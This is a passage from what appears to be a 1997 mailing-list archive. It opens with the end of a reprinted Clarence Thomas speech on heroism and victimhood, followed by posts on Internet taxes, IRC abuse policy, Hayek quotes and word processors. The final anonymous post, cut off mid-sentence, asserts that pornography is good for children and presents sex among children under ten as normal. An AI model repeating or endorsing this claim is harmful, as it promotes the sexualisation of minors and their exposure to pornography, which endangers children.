   talents, morals, decisions, and actions. Accepting personal
   responsibility for victory as well as for defeat is as liberating and
   empowering as it is unpopular today. Overcoming adversity not only
   gives us our measure as individuals, but it also reinforces those
   basic principles and rules without which a society based upon freedom
   and liberty cannot function.
   
   In those years of my youth, there was a deep appreciation of heroes
   and heroic virtue. Art, literature, and even popular culture (unlike
   today) often focused on people who demonstrated heroic virtues --
   courage, persistence, discipline, hard work, humility, triumph in the
   face of adversity, just to mention a few. These building blocks of
   self-reliance were replicated and reinforced at home, school, and
   church. The "rags to riches" Horatio Alger stories were powerful
   messages of hope and inspiration to those struggling for a better
   life. And many of us used to read and dream about heroes -- not to
   mention our favorite television heroes, something perhaps unbelievable
   these days. I am certain that many of you who attended grammar school
   in the 1950s or earlier probably remember reading a favorite account
   of the integrity and work ethic of George Washington, or of Abraham
   Lincoln, or of George Washington Carver, or even of some baseball or
   football legend. It seemed that we all had heroes (not role models, a
   term of far more recent vintage). Indeed, it would have been odd for a
   child of several decades ago not to have had a hero.
   
   But today, our culture is far less likely to raise up heroes than it
   is to exalt victims -- individuals who are overcome by the sting of
   oppression, injustice, adversity, neglect, or misfortune. Today,
   victims of discrimination, racism, poverty, sickness, and societal
   neglect abound in the popular press. Today, there are few (if any)
   heroes. Often, it seems that those who have succumbed to their
   circumstances are more likely to be singled out than those who have
   overcome them.
   
   What caused this cultural shift -- from an emphasis on heroes to a
   preoccupation with victims? Why are there more victims and virtually
   no heroes recognized today? Why in years past was there much less of
   an emphasis on victimage?
   
   I think two things contributed to this change in the state of affairs.
   The first is that our political and legal systems now actively
   encourage people to claim victim status and to make demands on society
   for reparations and recompense. The second is that our culture
   actually seeks to denigrate or deconstruct heroes. Why would a
   civilized society travel down two such destructive paths? Why has it
   become no more admirable to rise valiantly above one's circumstances
   than it is to submit to them -- all the while aggressively
   transferring responsibility for one's condition to others?
   
   Let's begin with our political and legal systems -- how have they
   contributed to this state of affairs? The classical conception was
   that government and the law were meant to ensure freedom and equality
   of opportunity by giving people the most room possible for
   self-provision and self-determination. James Madison made this point
   in The Federalist Papers when he observed that the "protection" of the
   "diversity of faculties in men" was the "first object" of government.
   And, in more recent times, the great political economist Friedrich von
   Hayek -- who witnessed totalitarianism first-hand -- made a similar
   point when he observed that "the chief aim of freedom is to provide
   both the opportunity and the inducement to insure the maximum use of
   the knowledge that an individual can acquire."
   
   Between the New Deal and the 1960s, a far different view began to hold
   sway -- namely, that the role of the state was to eliminate want,
   suffering, and adversity. Freedom was no longer simply a right to
   self-provision and self-determination, but was instead a right to make
   demands on government and society for one's well-being and happiness.
   That is the import of Franklin Roosevelt's "Citizen Bill of Rights,"
   which spoke of freedom from want -- rights to minimum income, housing,
   and other "adequate protections from economic fears." And, I think it
   is axiomatic that the call for such new rights (if not claims) became
   ever more prevalent in the 1950s and 1960s.
   
   No doubt, this gradual transformation in ideas took root and
   flourished (at least in part) because of the aggregate growth in
   wealth and resources we were witnessing in this country during the
   course of the 20th century. Against the background of this prosperity,
   poverty stood out in bold relief and in uncomfortably stark contrast
   -- even as the number of people suffering from it shrank. It is not
   surprising that people began to think that, in a world of seemingly
   unlimited resources, adversity could be eliminated, or, at the very
   least, remedied. The ideal of the "benevolent state" took hold. In our
   "enlightened" society, neglect, misfortune, and injustice did not have
   to be accepted as inevitable facts of life. Good government and laws
   could step in when necessary, as many believed they had successfully
   done during two World Wars, the Great Depression, and the civil rights
   movement.
   
   If one assumes that suffering and adversity can be eliminated, but
   sees a number of people continuing to suffer from adversity or
   misfortune, then there must be some forces in society that relegate
   the "have nots" to this fate. Or, at the very least, the less
   fortunate are being ignored. Those facing adversity, hence, are
   victims of a society that is not doing as much as it could (if it so
   desired), and these victims can (and should) stake a legitimate claim
   against the political and legal systems for recompense. In this view,
   neglect or selfishness on the part of society and government is
   responsible for the sting of oppression, injustice, and misfortune
   that the unfortunate and "have nots" feel today.
   
   In light of this modern ideology, is it any surprise that people
   identify themselves as victims and make demands on the political
   systems for special status and entitlements? Our culture expects (and,
   indeed, encourages) people to do exactly that. Consider, for example,
   the creation and continued expansion of the welfare state and other
   social programs in this country. How often have we heard proponents of
   these programs lull the poor into thinking that they are hopeless
   victims, incapable of triumphing over adversity without "benevolent
   intervention" by the state? How often have we heard these proponents
   encouraging the less fortunate in our society to become indignant
   about their situation in life and more demanding on the political
   system to find solution to their problems?
   
   It is not only in the political system, though, that we see our
   society and its leaders succumbing to the modern ideology of
   victimhood. As with the political system, people today also are
   strongly encouraged to make demands on the legal system by claiming
   victim status. Indeed, the legal system has, in many ways, become a
   significant driving force behind the modern ideology of victimhood.
   Courts are viewed as an effective means of forcing (or at least
   pressuring) political institutions into meeting demands for protected
   status and new rights or entitlements.
   
   Pointing to perceived "victimization" by "the system" or by others in
   society, our legal culture has often told the least fortunate in our
   society that their last hope is to claim special legal rights and
   benefits, or to seek exoneration for the harmful, criminal
   consequences of their acts. The least fortunate are encouraged to turn
   to legal arguments that admit defeat and that challenge the moral
   authority of society. In these ways, courts are called upon to solve
   social problems -- by creating special rules, and by crafting remedies
   that will satisfy the claims and demands of victim groups but that do
   not apply to all of us.
   
   Appealing to the legal system, though, was not as easy a task as
   making demands on the political system. Our legal system has
   traditionally required that redress for grievances only be granted
   after very exacting standards have been met. There had to be, for
   example, very distinct, individualized harm. And, the definition of
   harm was circumscribed by a traditional understanding of adjudication
   under the common law, where narrow disputes regarding traditional
   property rights were resolved among private parties who could not
   settle matters on their own. Very generalized claims of misfortune or
   oppression or neglect -- the kinds of assertions made in the political
   system -- would not easily fit into this common mold of court
   activity. It would not be enough for people to be indignant, angry,
   and demanding about their situation in life. There would have to be an
   assertion of a legal wrong and a persuasive argument that a legal
   remedy was available.
   
   The pressure of victimology "revolutionized" -- and that word does not
   always have positive connotations -- the courts and the law. For those
   in our culture seeking to use the courts as agents of social change,
   poverty, unemployment, social deviancy, and criminal behavior were not
   just unfair conditions in our society that could be eliminated if only
   people or politicians cared. Instead, these abstract problems were
   personified as the direct actions of local schools, churches,
   businesses, and other social institutions so that they could be sued
   for causing individualized harm to the victims. Based on this new kind
   of harm -- a kind of legalistic understanding of "victimage" -- the
   courts were said to be obligated to recognize special rights and
   protected status under the law.
   
   Take, for example, welfare rights and due process. Beginning with
   Goldberg v. Kelly, 397 U.S. 254 (1970), our cases underscored the
   importance of welfare as a means of preventing social malaise,
   promoting the general welfare, and securing the blessings of liberty
   for all Americans. The rights to life, liberty, and property were, in
   effect, transformed from freedom from government interference into a
   right to welfare payments. There are countless other examples in legal
   literature and judicial opinions -- some have argued that inner city
   minorities and the poor should not be held responsible for the
   consequences of their criminal acts because of oppression and
   misfortune; and, of course, there is the debate now raging about
   preferences based on sex, race, and ethnicity.
   
   This change in our political and legal systems has been accompanied by
   the rise of the "victim group." These groups are quite useful to
   public officials for building coalitions for future political support
   and legitimacy, as well. And, for the courts, "victim groups" provide
   useful justification or cover for energizing the legislative process,
   changing the legislative agenda, forcing reconsideration of spending
   priorities, and transforming public debate.
   
   But the rise of victimhood, and its perpetuation by government and the
   law, is only part of the modern tragedy. There is also the dearth of
   heroes in our culture. Significantly, as the number of these "victim
   groups" has escalated, there has been a corresponding decline in the
   amount of attention that our culture has paid to heroes or, even
   worse, a conscious attempt to cheapen their achievements. Today,
   success or a commitment to fighting for noble ideas is attributed to
   self-interest, revenge, self-aggrandizement, insecurity, or some
   psychological idiosyncrasy.
   
   Just thumb through recently published biographies in the library or
   bookstore -- in many of them, it is not a conscious effort to be
   virtuous or to do good, but instead a series of unforeseeable and
   external forces, that lead to greatness or success. And, in many of
   these biographies, we are introduced to the uncut, "never before seen"
   foibles, mistakes, and transgressions of people our culture idealized
   for centuries. The message: that these so-called heroes are really
   just regular people capable of folly and vice who happened to have a
   few good breaks.
   
   In Democracy in America, Alexis de Tocqueville anticipated this state
   of affairs when he said: "Historians who live in democratic times do
   not only refuse to admit that some citizens may influence the destiny
   of a people, but also take away from the people themselves the faculty
   of modifying their own lot and make them depend on an inflexible
   providence or a kind of blind fatality."
   
   Now, the problem these days is not that there are no people who should
   be singled out as heroes. Rather, as Daniel Boorstin suggests in his
   book, The Image, society is preoccupied with celebrities. And heroism
   and celebrity status are two very different things. The word "hero"
   refers to people of great strength, integrity, or courage who are
   recognized and admired for their accomplishments and achievements. The
   word "celebrity," on the other hand, refers to a condition -- the
   condition of being much talked about. It is a state of notoriety or
   famousness. As Boorstin says, "A celebrity is a person who is known
   for his well-knownness." Thus, while a hero is distinguished by his
   achievement, celebrities are created by the media and are simply a
   trademark. Celebrities are, in short, neither good nor bad -- they are
   just a big name. Publicity is the defining feature of a celebrity's
   existence, and, unlike a hero who will become greater as time passes,
   time destroys celebrities. Over time the glare of publicity, as
   Boorstin notes, melts away the celebrity by shedding light and heat on
   his vices and commonplaceness.
   
   This pattern of ignoring and deconstructing heroes -- and focusing
   instead on the ephemeral celebrity who is known for his well-knownness
   rather than character or individual worth -- stems from the rise of
   radical egalitarianism. In the 1960s, many of the cultural elite saw a
   need to ensure absolute equality. On this view, differences in ability
   and level of achievement are random or uncontrolled; and to permit
   these characteristics to dictate human happiness and well-being would
   therefore be unfair. Celebrity status, in contrast, is not a problem
   for egalitarians, for as Boorstin notes, "anyone can become a
   celebrity, if only he can get into the news and stay there."
   Certainly, real achievement is not necessarily required.
   
   It should surprise no one that our culture now has far less difficulty
   recognizing celebrities than it does those who achieve success as a
   result of personal effort and character traits that we traditionally
   would consider heroic. Denigrating heroic virtue -- in other words,
   chalking heroism up to circumstance -- fits quite well with the notion
   that we must all be the same and that there can be no significant
   differences in our achievement, social standing, or wealth.
   
   Anyone can see what these intellectual currents have done to the
   ideals of human dignity, personal responsibility, and
   self-determination. Preoccupation with victim status has caused people
   to focus covetously on what they do not have in comparison to others,
   or on what has happened to them in the past. Many fail to see the
   freedom they do have and the talents and resources that are at their
   disposal.
   
   Our culture today discourages, and even at times stifles, heroic
   virtues -- fortitude, character, courage, a sense of self-worth. For
   so many, the will, the spirit, and a firm sense of self-respect and
   self-worth have been suffocated. Many in today's society do not expect
   the less fortunate to accept responsibility for (and overcome) their
   present circumstances. Because they are given no chance to overcome
   their circumstances, they will not have the chance to savor the
   triumph over adversity. They are instead given the right to fret and
   complain, and are encouraged to avoid responsibility and self-help.
   This is a poor substitute for the empowering rewards of true victory
   over adversity.
   
   One of my favorite memories of my grandfather is how he would walk
   slowly by the cornfield, admiring the fruits of his labor. I have
   often thought that just the sight of a tall stand of corn must have
   been more nourishing to his spirit than the corn itself was to his
   body.
   
   But the culture of victimology -- with its emphasis on the so-called
   benevolent state -- delivers an additional (and perhaps worse) blow to
   dignity and self-worth. When the less fortunate do accomplish
   something, they are often denied the sense of achievement which is so
   very important for strengthening and empowering the human spirit. They
   owe all their achievements to the "anointed" in society who supposedly
   changed the circumstances -- not to their own efforts.
   
   Long hours, hard work, discipline, and sacrifice are all irrelevant.
   In a world where the less fortunate are given special treatment and
   benefits -- and, significantly, where they are told that whatever
   gains or successes they have realized would not be possible without
   protected status and special benefits -- the so-called beneficiaries
   of state-sponsored benevolence are denied the opportunity to derive
   any sense of satisfaction from their hard work and self-help. There is
   not a one among us who views what others do for us the same way we
   view what we do for ourselves. No matter how much we appreciate the
   help, it is still just that -- help, not achievement.
   
   It also bears noting that our culture's preoccupation with grouping
   victims has balkanized society. The "we/they" mentality of calling
   oneself a victim of society breeds social conflict and calls into
   question the moral authority of society. The idea that whole groups or
   classes are victims robs individuals of an independent spirit -- they
   are just moving along with the "herd" of other victims. Such
   individuals also lack any incentive to be independent, because they
   know that as part of an oppressed group they will neither be singled
   out for the life choices they make nor capable of distinguishing
   themselves by their own efforts.
   
   As victim ideology flourishes and people are demoralized by its grip,
   more and more people begin to think that they must claim victim status
   to get anywhere in this world. Indeed, is it any surprise that anyone
   and everyone can claim to be a victim of something these days? In his
   book The Abuse Excuse, Alan Dershowitz criticizes countless examples
   of conditions that "victimize" people and thereby release them from
   responsibility for their actions. Here are just a few examples:
   
   x The "black rage defense," which asserts that blacks who are
   constantly subjected to oppression and racial injustice will become
   uncontrollably violent;
   
   x "Urban survival syndrome," which claims that violent living
   conditions justify acts of aggression in the community;
   
   x "Self-victimization syndrome," which maintains that people become
   less productive and creative, and become severely depressed, as a
   result of societal neglect and discrimination.
   
   Most significantly, there is the backlash against affirmative action
   by "angry white males." I do not question a person's belief that
   affirmative action is unjust because it judges people based on their
   sex or the color of their skin. But something far more insidious is
   afoot. For some white men, preoccupation with oppression has become
   the defining feature of their existence. They have fallen prey to the
   very aspects of the modern ideology of victimology that they deplore.
   
   Some critics of affirmative action, for example, fault today's civil
   rights movement for demanding equality yet supporting policies that
   discriminate based on race. These critics expect the intended
   beneficiaries of the civil rights regime to break away from the
   ideology of victimhood: to cherish freedom, to accept responsibility,
   and, where necessary, to demonstrate fortitude in the face of
   unfairness.
   
   I do not quarrel with this. But these critics should hold themselves
   to the same standards, resisting the temptation to allow resentment
   over what they consider reverse discrimination to take hold of their
   lives and to get the best of them. They must remember that if we are
   to play the victim game, the very people they decry have the better
   claim to victim status.
   
   Of course, de-emphasizing heroism exacerbates all these problems.
   Human beings have always faced the temptation to permit adversity or
   hate to dominate and destroy their lives. To counter this tendency,
   society had heroes -- people capable of overcoming the very adversity
   or injustice that currently affects today's victims. They rose above
   their circumstances and inherent imperfections. Heroes cherished
   freedom, and tried to accomplish much with what little they had.
   Heroes demonstrated perseverance in the face of adversity and used
   hardship as a means to strive for greater virtue. And heroes accepted
   responsibility -- they did what they did despite fear and temptation,
   and tried to do the right thing when presented with a choice between
   good and evil. It is awfully hard for society to inculcate these
   values without some useful models from the past and present.
   
   I may not have realized it as a child, but my grandfather was a hero
   who had a tremendous impact on my life. He certainly would not be a
   celebrity by today's standards. Though barely able to read and saddled
   with the burdens of segregation, he worked hard to provide for his
   family. He was a deeply religious man who lived by the Christian
   virtues. He was a man who believed in responsibility and self-help.
   And though this could not bring him freedom in a segregated society,
   it at least gave him independence from its daily demeaning clutches.
   
   In all the years I spent in my grandparents' house, I never heard them
   complain that they were victims. Now, they did not like segregation or
   think that it was right. In fact, there was no question that it was
   immoral and that anyone who promoted it was morally reprehensible. But
   there was work to be done. I assure you that I did not enjoy the
   demands he placed on us. I saw no value in rising with the chicken,
   and, unlike him, I was not obsessed with what I will call the "reverse
   Dracula syndrome": that is, fear that the rising sun would catch me in
   bed.
   
   It would not be until I was exposed to the most fortunate and best
   educated in our society that I would be informed that all this time I
   had been a victim. I am sure you can imagine what it was like when I
   returned home to Savannah, and informed my grandparents that with the
   education I had received because of their tremendous foresight and
   sacrifice, I had discovered our oppressed and victimized status in
   society. Needless to say, relations were quite strained and our
   vacation visits were somewhat difficult. My grandfather was no victim
   and he didn't send me to school to become one.
   
   There are many people like my grandfather alive today. The cultural
   elite does not honor them as the heroes they are, but instead views
   them as people who are sadly ignorant of their victim status or who
   have forgotten where they came from. Our social institutions do not
   train today's young to view such people as heroes and do not urge them
   to emulate their virtues.
   
   In idealizing heroic virtue and criticizing the victim ideology of our
   day, I am not saying that society is free from intractable and very
   saddening injustice and harm. That would not be true. But the idea
   that government can be the primary instrument for the elimination of
   misfortune is a fundamental misunderstanding of the human condition.
   There has always been bad and suffering in the world, and we must
   admit that wrongs have been and will continue to be committed. People
   will always be treated unfairly -- we can never eliminate oppression
   or adversity completely, though we can and should fight injustice as
   best we can.
   
   But keep in mind that all of us are easily tempted to think of
   ourselves as victims and thereby permit adversity to be the defining
   feature of our lives. In so doing, we deny the very attributes that
   are at the core of human dignity -- freedom of will, the capacity to
   choose between good and bad, and the ability to endure adversity and
   to use it for gain. Victimhood destroys the human spirit.
   
   I also am not saying that we should expect everyone to be a hero all
   of the time. We humans are weak by our very nature; all of us at times
   will permit hardship to get the very best of us. But having a set of
   norms to guide us and to push us along -- the stuff of heroes -- can
   be a source of great strength. If we do not have a society that honors
   people who make the right choices in the face of adversity -- and
   reject the bad choices -- far fewer people will make the right
   choices. Ultimately, without a celebration of heroic virtue, we throw
   ourselves into the current state of affairs, where man is a passive
   victim incapable of triumphing over adversity and where aggression,
   resentment, envy, and other vice thwart progress and true happiness.
   
   What I am saying is that it requires the leadership of heroes and the
   best efforts of all to advance civilization and to ensure that its
   people follow the path of virtue. And, because of the role law has
   played in perpetuating victim ideology and because of the influence
   law can have in teaching people about right and wrong, lawyers have a
   special obligation here. We should seek to pare back the victimology
   that pervades our law, and thereby encourage a new generation of
   heroes to flourish.
   
   I am reminded of what Saint Thomas Kempis wrote more than 500 years
   ago about the human spirit. His standard is a useful one for thinking
   about the instruction that our law should be offering: "Take care to
   ensure that in every place, action, and outward occupation you remain
   inwardly free and your own master. Control circumstances, and do not
   allow them to control you. Only so can you be a master and ruler of
   your actions, not their servant or slave; a free man. . . ."
   
   Legal Times is an affiliate publication of Court TV.
   
   Copyright � 1995, American Lawyer Media L.P.
     _________________________________________________________________
   
   Copyright 1996 by American Lawyer Media, L.P. All Rights Reserved. No
   parts of this site may be reproduced without permission of American
   Lawyer Media. Nothing in this site is intended to constitute legal
   advice.






From dm0 at avana.net  Mon Dec 29 18:55:57 1997
From: dm0 at avana.net (David Miller)
Date: Tue, 30 Dec 1997 10:55:57 +0800
Subject: newscolumn1.html
In-Reply-To: <199712291845.NAA15134@yakko.cs.wmich.edu>
Message-ID: <34A86F7F.C525845@avana.net>



damaged justice wrote:
> 
>      [1]Microsoft Small Business [2]Business First [3]Kemper Insurance
>                                  Companies
>                            [4][ISMAP]-[5][USEMAP]
> 
>                                                       December 29, 1997
> 
>   Tech Watch
> 
> Groups line up in support for Internet commerce taxes
>        ______________________________________________________________
> 
>      John Frees
> 
>      Rumblings on the horizon suggest that tax-free Internet commerce
>      could be coming to an end.

"Dave -- if you can't figure something out, the answer's probably
money."

>      State governments, already losing as much as $3 billion annually in
>      taxes on direct-mail purchases, are taking a strong look at the
>      growing market for online purchases.

"Dave -- if you can't figure something out, the answer's probably
money."

>      The Federation of Tax Administrators, the National Conference of
>      State Legislatures, National League of Cities and the National
>      Governors' Association all want Congress to let states tax such
>      purchases.

"Dave -- if you can't figure something out, the answer's probably
money."

	.
	.
	.



Viva el Geiger,

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.






From hedges at rigel.cyberpass.net  Mon Dec 29 20:07:40 1997
From: hedges at rigel.cyberpass.net (Mark Hedges)
Date: Tue, 30 Dec 1997 12:07:40 +0800
Subject: Anonymous IRC (was "Cypherpunks IRC Christmas Eve Party")
Message-ID: <199712300356.TAA19973@rigel.cyberpass.net>




We found IRC users to be so involved in petty information wars --
ping floods, malicious prank hacking, and the like -- that we directed
policy against use of IRC from the anonymous shell accounts at CyberPass.

If IRC users weren't so easily lulled by the tempation to crash a server
or run malicious bots or just plain irritate other people for fun, and
if they would gang up and kick out people who did that, then perhaps we'd
switch that back on.

They were just too much overhead. Everyone else seems pretty nice, really,
as far as the system goes. They're all self-interested in keeping the
anonymous publishing and so on going, so the peace keeps itself.

Mark Hedges
Infonex and Anonymizer






From dm0 at avana.net  Mon Dec 29 20:19:29 1997
From: dm0 at avana.net (David Miller)
Date: Tue, 30 Dec 1997 12:19:29 +0800
Subject: thomas.html (fwd)
In-Reply-To: <199712300247.UAA04526@einstein.ssz.com>
Message-ID: <34A882B9.2782CA17@avana.net>



Jim Choate wrote:

>     Court TV Library
> 
>   Justice Thomas on 'Heroes and Victims'
> 
>     Legal Times
> 
>    Clarence Thomas may keep a lower profile than many of his colleagues
>    on the Supreme Court bench. But when he does speak out, he almost
>    always makes an impact.

As a sometimes member of our braindead society, let me thank you for
reminding
me of the long-term positive implications of the Anita Hill Trials on
the
future of our Country.  In regards to the "pubic hair in my coke"
travisty
that we all experienced, let me say this:

	Sometimes things have to get worse in order to get better.

Meaning, if you walk into someone, you back up, excuse yourself, and
walk around
them.  From what I've seen, my hat is off to Judge Clarence Thomas.

>    It should surprise no one that our culture now has far less difficulty
>    recognizing celebrities than it does those who achieve success as a
>    result of personal effort and character traits that we traditionally
>    would consider heroic. Denigrating heroic virtue -- in other words,
>    chalking heroism up to circumstance -- fits quite well with the notion
>    that we must all be the same and that there can be no significant
>    differences in our achievement, social standing, or wealth.

Which reminds me of another Troutmanism:

     "Dave -- We used to have heroes, people who were known for being
heroic.
      Now all we have is a bunch of people famous for being famous."

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.






From ravage at ssz.com  Mon Dec 29 20:19:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 12:19:53 +0800
Subject: Hayek Quotes (fwd)
Message-ID: <199712300437.WAA04891@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Mon Dec 29 22:37:18 1997
From: Jim Choate 
Message-Id: <199712300437.WAA04871 at einstein.ssz.com>
Subject: Hayek Quotes
To: users at ssz.com (SSZ User Mail List)
Date: Mon, 29 Dec 1997 22:37:16 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 11676     


Forwarded message:

> X-within-URL: http://www.freedomsnest.com/cgi-bin/qa.cgi?ref=hayfa
> 
> 
>    [IMAGE]
>    
>    Quotes from F.A. Hayek
>    
>     [IMAGE] 
>    
>     1. Should our moral beliefs really prove to be dependent on factual
>        assumptions shown to be incorrect, it would be hardly moral to
>        defend them by refusing to acknowledge the facts.
>        
>        
>        
>     2. Ever since the beginning of modern science, the best minds have
>        recognized that "the range of acknowledged ignorance will grow
>        with the advance of science." Unfortunately, the popular effect of
>        this scientific advance has been a belief, seemingly shared by
>        many scientists, that the range of our ignorance is steadily
>        diminishing and that we can therefore aim at more comprehensive
>        and deliberate control of all human activities. It is for this
>        reason that those intoxicated by the advance of knowledge so often
>        become the enemies of freedom.
>        
>        
>        
>     3. Humiliating to human pride as it may be, we must recognize that
>        the advance and even the preservation of civilization are
>        dependent upon a maximum of opportunity for accidents to happen.
>        [The Constitution of Liberty, ch. 2.4
>        
>        
>        
>     4. All political theories assume, of course, that most individuals
>        are very ignorant. Those who plead for liberty differ from the
>        rest in that they include among the ignorant themselves as well as
>        the wisest.
>        
>        
>        
>     5. Compared with the totality of knowledge which is continually
>        utilized in the evolution of a dynamic civilization, the
>        difference between the knowledge that the wisest and that which
>        the most ignorant individual can deliberately employ is
>        comparatively insignificant.
>        
>        
>        
>     6. Equality of the general rules of law and conduct, however, is the
>        only kind of equality conducive to liberty and the only equality
>        which we can secure without destroying liberty. Not only has
>        liberty nothing to do with any other sort of equality, but it is
>        even bound to produce inequality in many respects. This is the
>        necessary result and part of the justification of individual
>        liberty: if the result of individual liberty did not demonstrate
>        that some manners of living are more successful than others, much
>        of the case for it would vanish.
>        
>        
>        
>     7. From the fact that people are very different it follows that, if
>        we treat them equally, the result must be inequality in their
>        actual position, and that the only way to place them in an equal
>        position would be to treat them differently. Equality before the
>        law and material equality are therefore not only different but are
>        in conflict which each other; and we can achieve either one or the
>        other, but not both at the same time.
>        
>        
>        
>     8. However human, envy is certainly not one of the sources of
>        discontent that a free society can eliminate. It is probably one
>        of the essential conditions for the preservation of such a society
>        that we do not countenance envy, not sanction its demands by
>        camouflaging it as social justice, but treat it, in the words of
>        John Stuart Mill, as "the most anti-social and evil of all
>        passions.
>        
>        
>        
>     9. Justice, like liberty and coercion, is a concept which, for the
>        sake of clarity, ought to be confined to the deliberate treatment
>        of men by other men.
>        
>        
>        
>    10. ...whenever it is necessary that one of several conflicting
>        opinions should prevail and when one would have to be made to
>        prevail by force if need be, it is less wasteful to determine
>        which has the stronger support by counting numbers than by
>        fighting. Democracy is the only method of peaceful change that man
>        has yet been discovered.
>        
>        
>        
>    11. The conception that government should be guided by majority
>        opinion makes sense only if that opinion is independent of
>        government. The ideal of democracy rests on the belief that the
>        view which will direct government emerges from an independent and
>        spontaneous process. It requires, therefore, the existence of a
>        large sphere independent of majority control in which the opinions
>        of the individuals are formed.
>        
>        
>        
>    12. It is only because the majority opinion will always be opposed by
>        some that our knowledge and understanding progress. In the process
>        by which opinion is formed, it is very probable that, by the time
>        any view becomes a majority view, it is no longer the best view:
>        somebody will already have advanced beyond the point which the
>        majority have reached. It is because we do not yet which of the
>        many competing new opinions will prove itself the best that we
>        wait until it has gained sufficient support.
>        
>        
>        
>    13. ...it is always from a minority acting in ways different from what
>        the majority would prescribe that the majority in the end learns
>        to do better.
>        
>        
>        
>    14. The successful politician owes his power to the fact that he moves
>        within the accepted framework of thought, that he thinks and talks
>        conventionally. It would be almost a contradiction in terms for a
>        politician to be a leader in the field of ideas. His task in a
>        democracy is to find out what the opinions held by the largest
>        number are, not to give currency to new opinions which may become
>        the majority view in some distant future.
>        
>        
>        
>    15. What a free society offers to the individual is much more than
>        what he would be able to do if only he were free.
>        
>        
>        
>    16. Perhaps the fact that we have seen millions voting themselves into
>        complete dependence on a tyrant has made our generation understand
>        that to choose one's government is not necessarily to secure
>        freedom.
>        
>        
>        
>    17. Human reason can neither predict nor deliberately shape its own
>        future. Its advances consist in finding out where it has been
>        wrong.
>        
>        
>        
>    18. A society that does not recognize that each individual has values
>        of his own which he is entitled to follow can have no respect for
>        the dignity of the individual and cannot really know freedom.
>        
>        
>        
>    19. Liberty is an opportunity for doing good, but this is only so when
>        it is also an opportunity for doing wrong.
>        
>        
>        
>    20. ...if we wish to preserve a free society, it is essential that we
>        recognize that the desirability of a particular object is not
>        sufficient justification for the use of coercion.
>        
>        
>        
>    21. ...it is largely because civilization enables us constantly to
>        profit from knowledge which we individually do not possess and
>        because each individual's use of his particular knowledge may
>        serve to assist others unknown to him in achieving their ends that
>        men as members of civilized society can pursue their individual
>        ends so much more successfully than they could alone.
>        
>        
>        
>    22. The mind cannot foresee its own advance.
>        
>        
>        
>    23. Every change in conditions will make necessary some change in the
>        use of resources, in the direction and kind of human activities,
>        in habits and practices. And each change in the actions of those
>        affected in the first instance will require further adjustments
>        that will gradually extend through the whole of society. Every
>        change thus in a sense creates a "problem" for society, even
>        though no single individual perceives it as such; it is gradually
>        "solved" by the establishment of a new overall adjustment.
>        
>        
>        
>    24. ...the case for individual freedom rests largely on the
>        recognition of the inevitable and universal ignorance of all of us
>        concerning a great many of the factors on which the achievements
>        of our ends and welfare depend.
>        
>        
>        
>    25. ...the ultimate decision about what is accepted as right and wrong
>        will be made not by individual human wisdom but by the
>        disappearance of the groups that have adhered to the "wrong"
>        beliefs.
>        
>        
>        
>    26. ...the argument for liberty is not an argument against
>        organization, which is one of the most powerful tools human reason
>        can employ, but an argument against all exclusive, privileged,
>        monopolistic organization, against the use of coercion to prevent
>        others from doing better.
>        
>        
>        
>    27. Even more significant of the inherent weakness of the collectivist
>        theories is the extraordinary paradox that from the assertion that
>        society is in some sense more than merely the aggregate of all
>        individuals their adherents regularly pass by a sort of
>        intellectual somersault to the thesis that in order that the
>        coherence of this larger entity be safeguarded it must be
>        subjected to conscious control, that is, to the control of what in
>        the last resort must be an individual mind. It thus comes about
>        that in practice it is regularly the theoretical collectivist who
>        extols individual reason and demands that all forces of society be
>        made subject to the direction of a single mastermind, while it is
>        the individualist who recognizes the limitations of the powers of
>        individual reason and consequently advocates freedom as a means
>        for the fullest development of the powers of the interindividual
>        process.
>        
>        
>        
>    28. It may indeed prove to be far the most difficult and not the least
>        important task for human reason rationally to comprehend its own
>        limitations. It is essential for the growth of reason that as
>        individuals we should bow to forces and obey principles which we
>        cannot hope fully to understand, yet on which the advance and even
>        the preservation of civilization depend.
>        
>        
>        
>    29. The discussions of every age are filled with the issues on which
>        its leading schools of thought differ. But the general
>        intellectual atmosphere of the time is always determined by the
>        views on which the opposing schools agree. They become the
>        unspoken presuppositions of all thought, and common and
>        unquestioningly accepted foundations on which all discussion
>        proceeds.
>        
>        
>        
>    30. From the saintly and single-minded idealist to the fanatic is
>        often but a step.
>        
>        
>        
>        
>    
>      _________________________________________________________________
>    
>    [LINK] 
>    
>    [Home][Authors][Subjects][Quotes][Books][Email]
> 






From dlv at bwalk.dm.com  Mon Dec 29 20:37:58 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 30 Dec 1997 12:37:58 +0800
Subject: Why I Support Microsoft
In-Reply-To: <3.0.3.32.19971229065217.00a2b1b0@shell9.ba.best.com>
Message-ID: 



landon dyer  writes:

> At 03:47 AM 12/29/97 -0800, you wrote:
> >
> >  [lots of linux-vs-microsoft stuff deleted, then:]
> >
> >     - The third party market for Linux software would grow rapidly
> >       and enormously.
> >     - The government's software budget would be reduced dramatically.
> >
> >I consider both of these to be Good Things (tm).  The government
> >wouldn't be forcing anything at the point of a gun, they'd simply be
> >making a financially responsible vendor selection (hey, there's a
> >first time for everything).  Our tax dollars shouldn't be wasted on
> >substandard software when superior, cheaper alternatives exist.
>
>
>   i haven't touched unix or linux in a long time, but i submit that
> your ordinary GS-4 secretary can deal with microsoft word a lot more
> efficiently than s/he can deal with vi/emacs/latex.  i assume there are
> better tools available on *ix platforms these days, which actually
> destroys my argument:
>
>   do you really want the government to be more efficient?  :-)

This has no bloody crypto relevance, but the Applix word processor is
just as easy to use as Microsoft Word. (And somebody should write a
better free clone of MS Word as a student project.)

Moreover I've some extremely stupid people successfully trained to
use (character-mode) Wordperfect.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at REPLAY.COM  Mon Dec 29 21:19:37 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 30 Dec 1997 13:19:37 +0800
Subject: porno is good for kids
Message-ID: <199712300505.GAA25262@basement.replay.com>




Pornography is good for children! It helps them acknowledge
the reality of sexual identity in the world of human beings.

Most of the people I knew even into high school had sex with
their friends before they were ten. Lots and lots of people --
meaning a lot -- took lots and lots of LSD. The world was good
